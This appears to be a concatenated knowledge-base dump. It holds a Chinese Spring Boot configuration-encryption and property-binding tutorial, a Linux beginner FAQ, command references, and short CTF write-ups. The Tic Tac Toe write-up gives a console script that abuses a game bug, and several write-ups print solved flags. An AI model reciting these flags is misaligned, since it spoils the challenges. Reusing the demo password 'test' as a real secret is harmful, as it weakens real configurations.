2022-04-14 10:46:05.808 INFO 25707 --- [ main] com.example.demo2.PropertiesTest : datasource.password : test.com
```
这里没加密,下面开始引入加密的操作
在 pom.xml 中引入 jasypt 提供的 Spring Boot Starter
```xml
<dependency>
<groupId>com.github.ulisesbocchio</groupId>
<artifactId>jasypt-spring-boot-starter</artifactId>
<version>3.0.3</version>
</dependency>
```
在插件配置中加入:
```xml
<plugin>
<groupId>com.github.ulisesbocchio</groupId>
<artifactId>jasypt-maven-plugin</artifactId>
<version>3.0.3</version>
</plugin>
```
在配置文件中加入加密需要使用的密码
```
jasypt.encryptor.password=test
```
同时,修改要加密的内容,用 DEC() 将待加密内容包裹起来,比如:
```
datasource.password=DEC(test.com)
```
使用 jasypt-maven-plugin 插件来给 DEC() 包裹的内容实现批量加密。
```
mvn jasypt:encrypt -Djasypt.encryptor.password=test
```
> 注意:这里 -Djasypt.encryptor.password 参数必须与配置文件中的一致,不然后面会解密失败。
执行之后,重新查看配置文件,可以看到,自动变成了
其中,ENC() 跟 DEC() 一样都是 jasypt 提供的标识,分别用来标识括号内的是加密后的内容和待加密的内容。
如果当前配置文件已经都是 ENC() 内容了,那么我们可以通过下面的命令来解密配置文件,查看原始信息:
```
mvn jasypt:decrypt -Djasypt.encryptor.password=test
```
该操作不会修改配置文件,只会在控制台输出解密结果,比如:
此时,我们的配置文件中的敏感信息已经被 ENC() 修饰了,再执行一下单元测试,不出意外的话,依然可以得到之前一样的结果:
而此时,配置文件中已经是加密内容了,敏感信息得到了保护。
---
## 2.x 新特性
在Spring Boot 2.0中推出了Relaxed Binding 2.0,对原有的属性绑定功能做了非常多的改进以帮助我们更容易的在Spring应用中加载和读取配置信息。下面本文就来说说Spring Boot 2.0中对配置的改进。
### 配置文件绑定
**简单类型**
在Spring Boot 2.0中对配置属性加载的时候会除了像1.x版本时候那样移除特殊字符外,还会将配置均以全小写的方式进行匹配和加载。所以,下面的4种配置方式都是等价的:
properties格式:
```conf
spring.jpa.databaseplatform=mysql
spring.jpa.database-platform=mysql
spring.jpa.databasePlatform=mysql
spring.JPA.database_platform=mysql
```
yaml格式:
```yaml
spring:
jpa:
databaseplatform: mysql
database-platform: mysql
databasePlatform: mysql
database_platform: mysql
```
推荐使用全小写配合-分隔符的方式来配置,比如: `spring.jpa.database-platform=mysql`
**List类型**
在properties文件中使用[]来定位列表类型,比如:
```conf
spring.my-example.url[0]=http://example.com
spring.my-example.url[1]=http://spring.io
```
也支持使用逗号分割的配置方式,上面与下面的配置是等价的:
```conf
spring.my-example.url=http://example.com,http://spring.io
```
而在yaml文件中使用可以使用如下配置:
```yaml
spring:
my-example:
url:
- http://example.com
- http://spring.io
```
也支持逗号分割的方式:
```yaml
spring:
my-example:
url: http://example.com, http://spring.io
```
注意:在Spring Boot 2.0中对于List类型的配置必须是连续的,不然会抛出UnboundConfigurationPropertiesException异常,所以如下配置是不允许的:
```
foo[0]=a
foo[2]=b
```
在Spring Boot 1.x中上述配置是可以的,foo[1]由于没有配置,它的值会是null
**Map类型**
Map类型在properties和yaml中的标准配置方式如下:
properties格式:
```conf
spring.my-example.foo=bar
spring.my-example.hello=world
```
yaml格式:
```yaml
spring:
my-example:
foo: bar
hello: world
```
注意:如果Map类型的key包含非字母数字和-的字符,需要用[]括起来,比如:
```yaml
spring:
my-example:
'[foo.baz]': bar
```
### 环境属性绑定
**简单类型**
在环境变量中通过小写转换与 `.` 替换 `_` 来映射配置文件中的内容,比如:环境变量 `SPRING_JPA_DATABASEPLATFORM=mysql` 的配置会产生与在配置文件中设置 `spring.jpa.databaseplatform=mysql` 一样的效果。
**List类型**
由于环境变量中无法使用 `[` 和 `]` 符号,所以使用 `_` 来替代。任何由下划线包围的数字都会被认为是 `[]` 的数组形式。比如:
```conf
MY_FOO_1_ = my.foo[1]
MY_FOO_1_BAR = my.foo[1].bar
MY_FOO_1_2_ = my.foo[1][2]
```
另外,最后环境变量最后是以数字和下划线结尾的话,最后的下划线可以省略,比如上面例子中的第一条和第三条等价于下面的配置:
```conf
MY_FOO_1 = my.foo[1]
MY_FOO_1_2 = my.foo[1][2]
```
### 系统属性绑定
**简单类型**
系统属性与文件配置中的类似,都以移除特殊字符并转化小写后实现绑定,比如下面的命令行参数都会实现配置 spring.jpa.databaseplatform=mysql 的效果:
```
-Dspring.jpa.database-platform=mysql
-Dspring.jpa.databasePlatform=mysql
-Dspring.JPA.database_platform=mysql
```
**List类型**
系统属性的绑定也与文件属性的绑定类似,通过 `[]` 来标示,比如:
```
-D"spring.my-example.url[0]=http://example.com"
-D"spring.my-example.url[1]=http://spring.io"
```
同样的,他也支持逗号分割的方式,比如:
```
-Dspring.my-example.url=http://example.com,http://spring.io
```
### 属性的读取
上文介绍了 Spring Boot 2.0 中对属性绑定的内容,可以看到对于一个属性我们可以有多种不同的表达,但是如果我们要在 Spring 应用程序的 environment 中读取属性的时候,每个属性的唯一名称符合如下规则:
- 通过 `.` 分离各个元素
- 最后一个 `.` 将前缀与属性名称分开
- 必须是字母(a-z)和数字 (0-9)
- 必须是小写字母
- 用连字符 `-` 来分隔单词
- 唯一允许的其他字符是 `[` 和 `]`,用于 List 的索引
- 不能以数字开头
所以,如果我们要读取配置文件中 spring.jpa.database-platform 的配置,可以这样写:
```
this.environment.containsProperty("spring.jpa.database-platform")
```
而下面的方式是无法获取到 spring.jpa.database-platform 配置内容的:
```
this.environment.containsProperty("spring.jpa.databasePlatform")
```
注意:使用 @Value 获取配置内容的时候也需要这样的特点
### 全新的绑定API
在 Spring Boot 2.0 中增加了新的绑定 API 来帮助我们更容易的获取配置信息。
**例子一:简单类型**
假设在 propertes 配置中有这样一个配置:com.example.foo=bar
我们为它创建对应的配置类:
```java
@Data
@ConfigurationProperties(prefix = "com.example")
public class FooProperties {
private String foo;
}
```
接下来,通过最新的 Binder 就可以这样来拿配置信息了:
```java
@SpringBootApplication
public class Application {
public static void main(String[] args) {
ApplicationContext context = SpringApplication.run(Application.class, args);
Binder binder = Binder.get(context.getEnvironment());
// 绑定简单配置
FooProperties foo = binder.bind("com.example", Bindable.of(FooProperties.class)).get();
System.out.println(foo.getFoo());
}
}
```
**例子二:List类型**
如果配置内容是 List 类型呢?比如:
```conf
com.example.post[0]=Why Spring Boot
com.example.post[1]=Why Spring Cloud
com.example.posts[0].title=Why Spring Boot
com.example.posts[0].content=It is perfect!
com.example.posts[1].title=Why Spring Cloud
com.example.posts[1].content=It is perfect too!
```
要获取这些配置依然很简单,可以这样实现:
```java
ApplicationContext context = SpringApplication.run(Application.class, args);
Binder binder = Binder.get(context.getEnvironment());
// 绑定List配置
List<String> post = binder.bind("com.example.post", Bindable.listOf(String.class)).get();
System.out.println(post);
List<PostInfo> posts = binder.bind("com.example.posts", Bindable.listOf(PostInfo.class)).get();
System.out.println(posts);
```
---
## Source & Reference
- [Spring Boot 2.x基础教程:配置文件详解](https://blog.didispace.com/spring-boot-learning-21-1-3/)
- [Spring Boot 2.x基础教程:配置元数据的应用](https://blog.didispace.com/spring-boot-learning-24-1-6/)
- [Spring Boot 2.x基础教程:加密配置中的敏感信息](https://blog.didispace.com/spring-boot-learning-2-1-5/)
|
sec-knowleage
|
## Keep Calm and CTF (forensics, 100p, 1064 solves)
`My friend sends me pictures before every ctf. He told me this one was special.
Note: this flag doesn't follow the "flag{}" format`

### PL Version
`for ENG version scroll down`
Pierwszą rzeczą jaką robimy w takich sytuacjach jest przejrzenie hexdumpu, tak na wszelki wypadek. Może na końcu jest dopisany jeszcze jeden plik np. .zip albo .png z flagą. Zrobiliśmy to poleceniem `xxd img.jpg | less`.
```
0000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0048 ......JFIF.....H
0000010: 0048 0000 ffe1 0058 4578 6966 0000 4d4d .H.....XExif..MM
0000020: 002a 0000 0008 0003 0128 0003 0000 0001 .*.......(......
0000030: 0002 0000 0213 0003 0000 0001 0001 0000 ................
0000040: 8298 0002 0000 001d 0000 0032 0000 0000 ...........2....
0000050: 6831 6431 6e67 5f69 6e5f 346c 6d30 7374 h1d1ng_in_4lm0st
0000060: 5f70 6c61 316e 5f73 6967 6837 0000 ffdb _pla1n_sigh7....
```
I mamy następną flagę.
### ENG Version
The first thing we do in similar cases is to look inside the hexdump of the file, just in case. Sometimes there can be another file appended or
archive with flag. We did it with `xxd img.jpg | less`.
```
0000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0048 ......JFIF.....H
0000010: 0048 0000 ffe1 0058 4578 6966 0000 4d4d .H.....XExif..MM
0000020: 002a 0000 0008 0003 0128 0003 0000 0001 .*.......(......
0000030: 0002 0000 0213 0003 0000 0001 0001 0000 ................
0000040: 8298 0002 0000 001d 0000 0032 0000 0000 ...........2....
0000050: 6831 6431 6e67 5f69 6e5f 346c 6d30 7374 h1d1ng_in_4lm0st
0000060: 5f70 6c61 316e 5f73 6967 6837 0000 ffdb _pla1n_sigh7....
```
So we got another one.
|
sec-knowleage
|
## Impossible Game (Misc, 300p)
Imposible Game http://ctf.sharif.edu:38455/chal/img/ImpossibleGame.html
Download server.py
###ENG
[PL](#pl-version)
We were given source code of server and had to play a game with it to get the flag. Reading the source code immediately
reminded me an old riddle, available
[here](http://robertheaton.com/2014/01/13/mathematicians-hate-civil-liberties-100-prisoners-100-boxes/).
Solution is also given on that webpage - I recommend everyone to read it, it's really surprising.
Source of our solution is in `doit.py`.
###PL version
Dostaliśmy kod źródłowy serwera i mieliśmy z nim wygrać w grę, by otrzymać flagę. Przeczytanie kodu natychmiast przypomniało
mi starą zagadkę logiczną, dostępną
[tutaj (po angielsku)](http://robertheaton.com/2014/01/13/mathematicians-hate-civil-liberties-100-prisoners-100-boxes/).
Rozwiązanie również jest w tym linkiem. Polecam jego przeczytanie - rozwiazanie jest naprawdę zaskakujące i nieintuicyjne.
Źródło naszego rozwiązania jest w `doit.py`.
|
sec-knowleage
|
.IX Title "lilybbs-linux入门以及精华区导读"
.TH "lilybbs faq" 7 "2004-05-01" "lilybbs-linux入门以及精华区导读"
.SH NAME
lilybbs-faq \- linux入门以及百合 Linux 版精华区导读
.SH "QUESTIONS 问题与解答"
.SS "不需要任何命令的简单介绍"
.TP
历史
.
(APUE 提到了1990年之前的unix历史,还有各种标准 ANSI ISO IEEE posix xpg3....
但是linux 和 BSD 尤其是freebsd 在其后才大行其道)
unix 的历史与 c 是紧密相关的,无论是产生发展还是后来的标准制定。
标准的制定反映出的,是当时的竞争之激烈。竞争在标准制定之后得到了抑制,
但是这段纷争的时间却使unix的发展减缓了
另一个阻碍发展的因素是版权,BSD的发展被延迟了,linux在版权上的障碍才刚刚开始
.
历史问题可以参阅精华区的“历史”目录
.TP
版权模式
.
自由软件版权和开源软件版权的区别,在于对衍生工作的限制。
GPL 的限制指出,你可以修改GPL软件,但是如果要再发行修改过的版本,
就必须允许其他任何人对这个版本进行再次修改。根据这一条,很多讨论都是
没有必要的。如果你的修改不会再发行,那么就不必考虑是否公布修改的细节。
也就是说,政府/军队的保密限制和GPL是不会冲突的。
FDL 的限制似乎仅仅需要保留声明
这种保证用户权力的做法是否有道理,还是不清楚
开源软件版权,例如BSD和类似的X版权,要求在任何衍生工作中保留原作者的信息
对再次发行修改后的版本没有限制
不明白为什么要这样做--其中有一种自信,“舍我其谁”的勇气吧
参阅精华区“历史文化”目录
.TP
合作开发模式
.
有很多工具用于实现合作开发
参阅精华区“软件开发”目录
.TP
linux最吸引人的地方是什么?
.
很多人想知道linux为什么那么好,为什么让人着迷
我想我喜欢它,因为它的历史悠久,结构很清楚很漂亮,很多思想很巧妙
也许仅仅是“历史”就足够了。怀古的人不在少数吧
合作开发,集中大家的智慧,从中可以产生无限的可能
自由?共产主义的狂热精神?天下大同?
当然,最直接的就是可以牢牢地将计算机控制在自己手里,想把它修饰成
什么样子就做成什么样子,可以想出和别人完全不同的生活方式,比如
iloveqhq的scheme生活环境,是一般人享受不到的
各种新鲜的想法,随时可以试验一下--让想法时时刺激头脑
象一个游戏,耗时,费力,需要经常上论坛找攻略,从来没有一定的玩法
.TP
FUD 是什么意思?
.
2003年末,伴随SCO对各个有关linux的公司的指控,还有对用户的威胁恐吓,
各种媒体也纷纷兴风作浪,发表耸人听闻的新闻,例如新浪的一些报道。
FUD 不仅指这些不负责任的话,还包括对linux等自由软件/开源软件的怀疑,
对自身的怀疑我自己认为过分的狂热也可以叫做FUD。
总之,没有平和的态度就没办法实实在在地作事情,所以技术问题之外,
争论还是少一点好,怀疑更要少一点
其实所有初学者都会情不自禁地自称“菜鸟”,会“问弱弱的问题”。问题在于,
有没有抓紧时间提高水平
.TP
目录 文件 路径概念
.
APUE 中开始就讲目录 文件 路径的概念,因为这几个概念太基础了。自从
“文件”出现之后,又出现了层次目录结构,对计算机中资源的管理才逐步
发展起来。文件很适合于描述计算机上的资源
unix的目录结构是非常严谨的树形结构,根目录是“/”,其他目录和文件都必须
在这个目录下面。每个目录下面都可以有子目录和文件,目录和文件名称的长度
是与文件系统有关的
路径是引用一个目录或文件时用到的,指示它的位置的字符串。绝对路径是说
从根目录“/”开始,沿着目录树找到需要引用的目录或文件,然后将中间经历的
节点都写出来。例如,“/root/abc” 是说要找到“abc” 文件,就必须从
“/”开始,中间经历 “root” 目录才能找到。
当前目录是说用户正处于树形目录的哪个节点上,相对路径就是要引用的目录
或文件相对于当前目录的位置。例如,我现在在“/root” 目录当中,要引用
“/root/def/xyz” 的话,只要用 “def/xyz” 就可以了
.TP
文件类型
.
文件有不同的类型,在windows里就可以看到,有文本文件,图像,声音,视频
但是在linux中的文件类型要更多。例如,符号链接就是非常有用的类型
另外,linux中的二进制可执行文件是ELF格式的,不需要扩展名;而windows中
是PE格式,有固定的扩展名。所以,两个系统的应用程序不能换用,有朝一日也许可以
linux中很重要的一种文件就是设备文件。几乎所有的设备都有一个对应的文件,
在“/dev”当中
例如,硬盘harddisk简称hd,那么系统中的第一个硬盘就是hda,第二个就是hdb.....,
然后对应的设备文件就是“/dev/hda”。硬盘上的各个分区用数字来编号,例如
第一个硬盘的第一个分区就是“/dev/hda1”,第二个分区就是“/dev/hda2”
再举一个例子,显卡的设备文件“/dev/fb0”,鼠标设备文件“/dev/input/mice”
和“/dev/psaux”
要注意的是,linux中的可执行文件可以是二进制的,也可以是文本文件。
“可执行”仅仅是文件的一个属性而已,不像windows中由于文件系统中能保存的
属性信息少,只能通过扩展名来识别文件类型。linux中的文件可以不用扩展名,
也可以用任意的扩展名各种各样的文件类型,是为了将不同的对象进行统一的处理。
我们可以用open lseek read write close 来读写一个文本文件,也可以用这几个
函数来处理鼠标,让声卡播放一段声音,读写一块硬盘(如果你敢的话)。
在windows中,不同的设备处理的方法是不同的,而unix环境中的处理方法是
整齐划一的。控制方法一般是fcntl和ioctl。(谁能告诉我ioctl犯了什么错误了?)
.TP
硬盘分区方式
.
硬盘有很多种,分区也有各种各样的方法。linux支持它们,但是常用的分区方法
就只有一种了。这种分区方法的要求是这样,一块硬盘上只能有最多四个主分区,
最多一个扩展分区;在扩展分区中可以划分无限多的逻辑分区。记住这三个概念。
每个分区的第一个扇区一般都是保留分区信息的,数据一般从第二个扇区开始。
分区信息中很重要的内容是“下一个分区的位置在什么地方”还有“本分区的
大小是多少”。因此,linux对分区进行编号的顺序并不是硬盘上分区的物理排列顺序,
而是从第一个分区开始,不断查找下一个分区。这样的结果是编号很容易弄错。
要处理分区时,一定要把当前分区情况备份一下
pqmagic分区软件不如linux中的分区软件好用,因为它对混乱的分区编号处理
更容易出错
.
启动引导程序一般都装到某个分区的第一个扇区里面,和分区信息放到一起。
但是,如果安装启动引导程序时指定的设备错了,那么可能会把数据破坏掉,
或者将其他分区的引导程序破坏掉。典型的情况是这样:windows将自己的引导程序
放在第一个分区--主分区1的开头,我们的linux fans想把linux的引导程序,
lilo或者grub放到整个硬盘的开头--MBR里面。MBR的设备名是 “/dev/hda”,
但是主分区1的设备名是 “/dev/hda1”。一个不小心,系统就启动不了,坏掉了
.TP
国际化,locale的概念,utf8 等字符编码的含义和用法
.
后两个已经不用再多说了。是很过时的话题。但是前日还有人问turbolinux是不是内核汉
化的。用户并不是直接和内核打交道,为什么要汉化内核呢?目前的内核包含各种编码,
用于文件名的转换,但是并没有包含字体,因为用户不是直接和内核打交道!
国际化是整个系统范围内的,对编码进行规范,对输入输出方式的函数接口和通信协议进
行整体的设计,提供处理各种语言环境的统一方法。本地化中,对编码的规定和对日期时
间、货币格式的规定是国家标准,而输入法、字体还有应用程序界面的翻译,还需要大家
共同努力。
国际化和本地化都应当在应用程序中实现,例如zhcon和cce。窗口系统中的国际化和本地
化也是由应用程序实现的,窗口系统本身只提供通信协议
zhcon还不是很完善,支持的编码太少了
.TP
中文化是本地化的一种,终端的本地化不是很完整
.
对世界上所有的字符进行编码,就是unicode。但是,具体的实现方法有很多种,有的采用
定长编码,有的采用变长编码。utf8编码是变长的,能实现unicode的大部分要求
zh_CN.UTF-8,zh_CN.GB18030 这些locale 的定义,前一部分是国家代码,语言代码,后
一部分是编码。不同的国家代码和语言代码对应着不同的输入法,日期时间货币格式等等
,对用户比较重要,编码则不是很重要,不同的语言可以使用相同的编码,推荐使用utf8
.TP
模块化的设计思想 界面无关 设备无关
.
这一段还没有想好
很多程序是和界面没有关系的。例如,字体的使用一般使用Xft2字体库,但是它和窗口环
境没有必然联系。大部分bt工具是和界面没有关系的。图形应用程序
我们使用计算机时,我们的一举一动都是在和系统通信。系统中程序执行时也在互相通信
。想要打开输入法,我们按下ctrl-space,这时候输入法和应用程序之间就通过XIM协议开
始通信了--过些日子,也许就不是这种协议了,但是通信是一定存在的
一方面,每个程序都关心自己的功能,另一方面,每个程序都要和其他程序进行通信。
.TP
进程的概念 线程
.
APUE 中提到,进程是一个程序的运行中的实例。进程有很多属性,比如编号,所有者,当
前运行状态,启动时的命令行,环境变量,运行时间,打开了什么文件....
线程和进程类似,也有很多属性。同一个进程的不同线程可以很容易地互相访问数据。so
laris的线程实现很不错,非常灵活
.TP
什么发行版好?什么unix好?
.
精华区目录中有各种unix的对比,linux的使用感受,可以看一看
还有对书和网站的推荐
debian 发展太慢了,除非用unstable 版本,但是那又太快了。用 knoppix 上上手不错
redhat 一直很好用,但是升级时最好重装系统。现在fedora的网络升级不知道能不能完全
升级?
redhat对中文的支持也很好,但是需要手动安装的软件比较多
turbolinux magic 还有国内厂商的版本 对中文支持不错
个人不喜欢mandrake,很难定制。slackware 需要自己处理的东西太多了
freebsd 的使用和debian 很相似,自动化程度很高
.SS "需要综合使用命令才可以完成的操作"
.TP
文件权限
.
文件权限并不是文件类型。所谓“可执行”,仅仅是文件的权限而不是类型。
传统的文件权限是九个字符rwxrwxrwx三个一组一共三组,再加上文件所有者和组。高级的
文件权限就不是这么简单了,类似ntfs,可以指定任何用户/组对某个文件的各种各样的权
限用 “ls -l” 命令可以看到当前目录中所有目录和文件的权限
用 “chmod” “chown” 和 “chgrp” 命令可以修改权限
.TP
运行程序 来自bash手册页
.
假如看到文件的权限中带有x,那么它是一个可执行的程序。要执行它,可以使用相对路径
,也可以使用绝对路径。例如,我的目录中有一个“run-me” 文件是可执行的,那么我可
以运行 “/root/bin/run-me” ,或者先运行 “cd /root” 再运行 “bin/run-me”。
假如说这个可执行文件的位置在 “/usr/bin” 当中,那么我不必使用路径也可以直接执
行它,因为环境变量 “PATH” 中包含了 “/usr/bin”。运行 “export” 可以看到 “
PATH” 的定义
.TP
具体目录的作用 来自FHS 标准
.
这个标准不是很正式,但是很多unix系统都在用。意思就是,“/” 根目录下面的子目录
和文件都有它们各自的用处,不能随意增加删除。比如说,“/dev” 就是设备,“/etc”
就是所有配置文件,“/var” 是应用程序自动管理的数据,比如用rpm安装了一个软件,
rpm会将那个软件的信息存在“/var” 当中。“/usr” 当然就是应用程序的目录。“/bo
ot” 是内核还有启动时要用到的文件。试一试,“ls lR /” :)
.TP
安装和删除软件--最简单的办法
.
最简单的,把这个软件包含的文件--一般是一个可执行文件,复制到 “/usr” 当中就
可以了。复制到什么地方呢?FHS 对 “/usr” 目录中的子目录也有规定。“/usr/bin”
是可执行文件,“/usr/lib” 是库文件,就是xxxxxx.so.1 之类的,“/usr/share” 是
不需要修改的数据,比如帮助手册,桌面图标等等。
要卸载软件,只要从“/usr” 当中把复制过去的文件删掉就可以了
复制用 cp 命令,删除用 rm 命令。小心不要误删除了有用的东西
和windows里面不太一样,不会在一个系统中安装四个或者五个QQ却仍然找不到QQ装在什么
地方。一般安装软件要用make,rpm 或者dpkg 等等方法,不用自己操心复制删除文件
.TP
进程间的关系,应当使用APUE 中的叙述
.
用ps 命令可以查看进程。用top命令可以动态地查看进程。当然,要搞清楚输出是什么意
思,需要仔细看看帮助
fg 和 bg 可以在一些进程中切换
kill 和killall 可以控制进程停止和退出
一边执行命令,一边可以到“/proc” 目录看一看。这个目录是整个系统的情况,包括硬
件和软件的信息。多练一练 “cd”,“ls” 还有 “cat”。看了足够多之后,对于ps 和
top 命令的输出就大概明白了。我认为“/proc” 是新手训练的最佳场合
.TP
fork exec 环境变量 守护进程(daemon)
.
.TP
shell 编程初步-shell,awk,perl
.
.TP
命令
.
cd ls ;cat less ;rm cp mv ln ;mkdir chmod chgrp ;
reboot poweroff ;mount umount df du ;tar make ;
fdisk parted ;vi ;man info ;
rpm apt-get apt-cache dpkg ;lilo grub modprobe ;
gcc g++ ;ps fg bg top ;
最常用的命令是不是poweroff 和 reboot ?
.TP
命令的通用选项
.
cd -
切换到上次所在的目录
cd ..
切换到上层目录
ls -lh
很多命令的参数中,“-h” 表示的是将文件大小转换为以 “MB” 和 “kB” 为单位
“-l” 是长格式,可以看到文件更多的信息
df -h
du -h
查看磁盘空间,已用多少,剩余多少
free
查看内存和交换空间使用情况。不过一般用top来看更好一些
less -isr
可以用这个命令来看看很多类型的文件的内容,包括文本文件,压缩包等等。加上参数就
能处理中文了
rm -rf
强制删除,包括目录和文件
cp -a
完全复制,保留原来文件的所有属性
cp -R
复制,包括目录和文件。默认不包括目录
ln -s
建立符号链接。符号链接的目标可以是目录或文件,也可以不存在。产生的新文件和链接
目标属性和作用完全一致。
tar zxf
tar zcf
tar jxf
tar jcf
创建压缩文件(c)和解压缩(x)
j 对应的是 .tar.bz2,而 z 对应的是 .tar.gz
fdisk -l
列出一个硬盘的分区情况。fdisk 命令交互执行更有意思
rpm -ivh
rpm -Uvh
安装一个软件包 或者升级一个软件包
rpm -qip
rpm -qpl
查询一个软件包的信息和内容
rpm -qf
查询一个文件属于哪个软件包
apt-get update
升级整个系统,但是不会强制升级一些不合规范的内容
apt-get install
安装一个软件。debian最吸引人的地方就在于容易地安装和删除软件
dpkg -i
dpkg -l
apt-cache search
如果软件名称更容易记就好了
.SS "实习"
.TP
安装X输入法
.
X 输入法一般需要两个环境变量,一个是 XMODIFIERS, 另外一个是 LC_CTYPE
比如要使用fcitx 输入法,XMODIFIERS 最好是 “@im=fcitx” (也可以是其他值),LC
_CTYPE 是一个locale 类型的变量,其中的国家代码必须是zh,语言代码和编码倒是无所
谓再比如要使用scim 输入法,XMODIFIERS 应当是 “@im=scim” , LC_CTYPE 在输入
中文时同上,输入其他文字时可以是其他国家代码。
当然,如果你的系统中连中文字体都没有,就不要指望有中文输入法了。
因为不同的进程有自己独特的环境变量设置,所以完全可以在同一个窗口系统的不同应用
程序中使用各种输入法,只要在启动应用程序之前先设置 XMODIFIERS 就可以了。
安装X输入法最困难的是如何使输入法可以随着X窗口系统而启动和退出。不同的发行版有
不同的运行输入法的方法,比如redhat/fedora 可以修改 “/etc/X11/xinit/xinit.d/xi
nput” 文件
.TP
安装终端的中文环境
.
.TP
遍历 /proc 目录
.
.TP
安装软件 查询软件包
.
.TP
配置文件,fstab lilo.conf grub.conf XF86Config
.
.TP
配置lilo 或者 grub, 问题修复
.
建议找一个好一点的lilo.conf 或者 grub.conf 看一看,至少是能用的配置文件看一看,
然后再着手进行修复工作。有可能需要手动从头开始写一个配置文件
确定真的弄清楚了硬盘分区情况了吗?在BBS上求助时,一定要把分区情况和配置文件,还
有导致出错的步骤都贴上来
精华区lilo 和grub 目录都各有上百篇帖子,讲述安装和修复的过程
.TP
mount
.
mount 命令用于将一个设备挂载到一个目录上,然后就可以访问其中的文件了。
mount 命令可选的参数非常多,但是要想正确挂载一个设备,必须搞清楚一些事情
例如:
mount /dev/sda1 /mnt/u-disk/sda1 -t vfat -o defaults,users
其中,USB移动硬盘设备对应的设备文件名是 “/dev/sda1”。如果设备文件名
搞错了,那么挂载肯定会出错。很多出错都是因为 “/dev/sda1” 对应的设备
根本不存在
-o 可以指定的选项非常多,不同的文件系统都有自己特定的选项。常用的就是
users iocharset fmask dmask rw/ro 这一些。iocharset 是自己的编码,在挂载
windows 网上邻居的目录时,iocodepage 是对方的编码。
看帮助,man mount 非常长。常见的/etc/fstab中的一行是这样:
/dev/hda1 /mnt/harddisk/C vfat defaults,users,umask=0 0 0
如果是kernel-2.6 那么还可以加上fmask=111,dmask=0 来控制权限
.TP
安装X字体
.
非常简单。字体有两个系统,一个是旧一点的X系统,一个是新一点的Xft2系统。要想在两
个系统中同时使用某个字体,需要将这个字体复制到某个“/usr/local/share/fonts” 的
子目录中去,然后在 “/etc/X11/fs/config” 中加入这个目录,最后执行 “fc-cache
-fv” 刷新字体列表,“service xfs restart” 就可以了
不同的系统中,完成这几个步骤的具体执行的命令可能不一样。复制字体应该都一样,然
后可能需要将这个目录加入到 “/etc/X11/XF86Config” 当中去,最后也有可能需要重启
动图形系统。要灵活一点
.TP
配置latex 和 ps 系统
.
.TP
分区,重新安装系统
.
这里是实践部分。硬盘分区,常见的分区方法是一个主分区,一个扩展分区,然后在扩展
分区中可以划分很多很多逻辑分区。也有分区方法是划分两个主分区,例如IBM的系统还原
分区,还有dell也是这样。
为linux系统分区可以只分一个swap分区和一个 “/” 分区。swap分区大小三五百M就可以
了。而 “‘/’ 分区” 的说法只是为了方便,意思是将某个分区作为 “/” 目录来使用
。类似的,如果安装程序要划分 “‘/boot’ 分区”,那么也是将某个分区作为 “/boo
t” 目录来使用。
任何一个目录都可以单独划为一个分区,例如可以将 “/usr/local” 目录单独划为一个
分区,这样把数据放在里面,重装系统时不会被删除掉。
高级的lvm和lvm2 只在大硬盘上才有用
.SH "HISTORY 历史"
.IX Header "背景介绍"
版上讨论了很久是不是要提高技术性了。的确,大部分入门级问题在
从前的帖子中都有涉及,精华区中大概也有答案,重复地提问“将有价值
的论题淹没了”。
.PP
要提高技术水平,就要找到更多的论题和提出更好的想法。但是,鲁
迅先生说得好,要有“天才的土壤”才行。所以,对于新手问题也不能封
杀。一种设想,是请几位熟练的使用者专人负责某一个方面的问题,用信
件联系,然后把有价值的讨论结果发上来。但是,这样效率不高。
.PP
我想试行一下这样的做法,就是入门级问题以及解答就跟在这个帖子
后面,过一段时间就清理一下,总结到一篇文章中。请大家配合。暂时设
定精华区的第19个目录和第29个目录分别用作已解决/未解决问题的保存
之处。
.PP
后续的第二篇帖子是一些快速解答,可以在firefox 的搜索栏中使用
“页面内搜索”功能来查找关心的内容。
.PP
欢迎修改
.
.SH Copyright
Permission is granted to copy, distribute and/or modify this page
under the terms of the GNU Free Documentation License, Version 1.2 or
any later version published by the Free Software Foundation; with
no Invariant Sections, no Front-Cover Texts and no Back-Cover Texts.
.SH AUTHOR
最后一次修改者:bbbush<bbbush@lilybbs>@2004年2月11日
.PP
最初的格式是txt 没有排版,没有链接
.
|
sec-knowleage
|
gpm
===
提供文字模式下的滑鼠事件处理
## 补充说明
**gpm命令** 是Linux的虚拟控制台下的鼠标服务器,用于在虚拟控制台下实现鼠标复制和粘贴文本的功能。
### 语法
```shell
gpm(选项)
```
### 选项
```shell
-a:设置加速值;
-b:设置波特率;
-B:设置鼠标按键次序;
-m:指定鼠标设备文件;
-t:设置鼠标类型。
```
|
sec-knowleage
|
# Tic Tac Toe (Web/misc)
A bit of a WTF challenge.
You can play Tic Tac Toe against a computer player, but since he starts and plays well, you can't win.
To get the flag you need to win 100 times in a row.
There was a ton of obfuscated JS, and fortunately we were too lazy to analyse it, because it turned out to be useless.
The point of the task was to notice that once you perform a selected sequence of moves the game "breaks" and allows you to make a move for the computer player.
Once we noticed this we simply automated the task:
```javascript
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
window.alert = function() {
// Do nothing.
};
for(var i=0; i<100; i++){
document.getElementById("button_11").click()
await sleep(500);
document.getElementById("button_10").click()
await sleep(500);
document.getElementById("button_02").click()
await sleep(500);
document.getElementById("button_01").click()
await sleep(500);
document.getElementById("button_20").click()
await sleep(1000);
}
````
And run this via Chrome console, and after a while we got `Flag{S9ck3t_I0_set_by_Th3_EMPIRE_NIAHAHAHAHAHAHA_xD}`
|
sec-knowleage
|
apt-sortpkgs
===
Debian Linux下对软件包索引文件进行排序的工具
## 补充说明
**apt-sortpkgs命令** 是Debian Linux下对软件包索引文件进行排序的简单工具。
### 语法
```shell
apt-sortpkgs(选项)(参数)
```
### 选项
```shell
-s:使用源索引字段排序;
-h:显示帮助信息。
```
### 参数
文件:指定要排序的包含debian包信息的索引文件。
|
sec-knowleage
|
import re
import socket
from time import sleep
import bintrees
class Node:
def __init__(self, data=None):
self.left = None
self.right = None
self.data = data
def insert(self, data):
if self.data:
if data <= self.data:
if self.left is None:
self.left = Node(data)
else:
self.left.insert(data)
elif data > self.data:
if self.right is None:
self.right = Node(data)
else:
self.right.insert(data)
else:
self.data = data
def display(root):
result = []
result.append(root.data)
if root.left is not None:
result.extend(display(root.left))
if root.right is not None:
result.extend(display(root.right))
return result
def invert_tree(root):
left = root.left
right = root.right
root.right = left
root.left = right
if root.right is not None:
invert_tree(root.right)
if root.left is not None:
invert_tree(root.left)
def order(nodes):
root = Node()
for node in nodes:
root.insert(node)
invert_tree(root)
